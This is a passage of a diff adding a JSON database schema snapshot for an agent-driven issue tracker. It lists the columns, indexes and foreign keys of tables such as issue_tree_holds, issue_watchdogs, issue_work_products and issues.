+              "expression": "depth",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_hold_members_company_id_companies_id_fk": {
+          "name": "issue_tree_hold_members_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk": {
+          "name": "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issue_tree_holds",
+          "columnsFrom": [
+            "hold_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_parent_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_parent_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_assignee_agent_id_agents_id_fk": {
+          "name": "issue_tree_hold_members_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "active_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_holds": {
+      "name": "issue_tree_holds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "root_issue_id": {
+          "name": "root_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_policy": {
+          "name": "release_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_actor_type": {
+          "name": "released_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_agent_id": {
+          "name": "released_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_user_id": {
+          "name": "released_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_run_id": {
+          "name": "released_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_reason": {
+          "name": "release_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_metadata": {
+          "name": "release_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_holds_company_root_status_idx": {
+          "name": "issue_tree_holds_company_root_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "root_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_holds_company_status_mode_idx": {
+          "name": "issue_tree_holds_company_status_mode_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "mode",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_holds_company_id_companies_id_fk": {
+          "name": "issue_tree_holds_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_root_issue_id_issues_id_fk": {
+          "name": "issue_tree_holds_root_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "root_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_released_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "released_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "released_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_watchdogs": {
+      "name": "issue_watchdogs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "watchdog_agent_id": {
+          "name": "watchdog_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "instructions": {
+          "name": "instructions",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "watchdog_issue_id": {
+          "name": "watchdog_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_fingerprint": {
+          "name": "last_observed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_fingerprint": {
+          "name": "last_reviewed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_stop_snapshot": {
+          "name": "last_observed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_stop_snapshot": {
+          "name": "last_reviewed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_completed_at": {
+          "name": "last_completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_count": {
+          "name": "trigger_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_run_id": {
+          "name": "updated_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_watchdogs_company_issue_uq": {
+          "name": "issue_watchdogs_company_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_status_idx": {
+          "name": "issue_watchdogs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_agent_idx": {
+          "name": "issue_watchdogs_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_watchdog_issue_uq": {
+          "name": "issue_watchdogs_company_watchdog_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_watchdogs\".\"watchdog_issue_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_watchdogs_company_id_companies_id_fk": {
+          "name": "issue_watchdogs_company_id_companies_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_watchdog_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "watchdog_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_watchdog_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "watchdog_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "updated_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_work_products": {
+      "name": "issue_work_products",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_service_id": {
+          "name": "runtime_service_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "review_state": {
+          "name": "review_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_work_products_company_issue_type_idx": {
+          "name": "issue_work_products_company_issue_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_execution_workspace_type_idx": {
+          "name": "issue_work_products_company_execution_workspace_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_provider_external_id_idx": {
+          "name": "issue_work_products_company_provider_external_id_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_updated_idx": {
+          "name": "issue_work_products_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_work_products_company_id_companies_id_fk": {
+          "name": "issue_work_products_company_id_companies_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_project_id_projects_id_fk": {
+          "name": "issue_work_products_project_id_projects_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_issue_id_issues_id_fk": {
+          "name": "issue_work_products_issue_id_issues_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issue_work_products_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk": {
+          "name": "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "workspace_runtime_services",
+          "columnsFrom": [
+            "runtime_service_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_work_products_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issues": {
+      "name": "issues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "work_mode": {
+          "name": "work_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'standard'"
+        },
+        "harness_kind": {
+          "name": "harness_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "review_policy": {
+          "name": "review_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "checkout_run_id": {
+          "name": "checkout_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_run_id": {
+          "name": "execution_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_agent_name_key": {
+          "name": "execution_agent_name_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_locked_at": {
+          "name": "execution_locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_number": {
+          "name": "issue_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_fingerprint": {
+          "name": "origin_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "request_depth": {
+          "name": "request_depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_adapter_overrides": {
+          "name": "assignee_adapter_overrides",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_policy": {
+          "name": "execution_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_state": {
+          "name": "execution_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_next_check_at": {
+          "name": "monitor_next_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_wake_requested_at": {
+          "name": "monitor_wake_requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_last_triggered_at": {
+          "name": "monitor_last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_attempt_count": {
+          "name": "monitor_attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "monitor_notes": {
+          "name": "monitor_notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_scheduled_by": {
+          "name": "monitor_scheduled_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_preference": {
+          "name": "execution_workspace_preference",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_settings": {
+          "name": "execution_workspace_settings",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unblock_descriptor": {
+          "name": "unblock_descriptor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_transition_at": {
+          "name": "blocked_transition_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_owner_notified_at": {
+          "name": "blocked_owner_notified_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_at": {
+          "name": "hidden_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
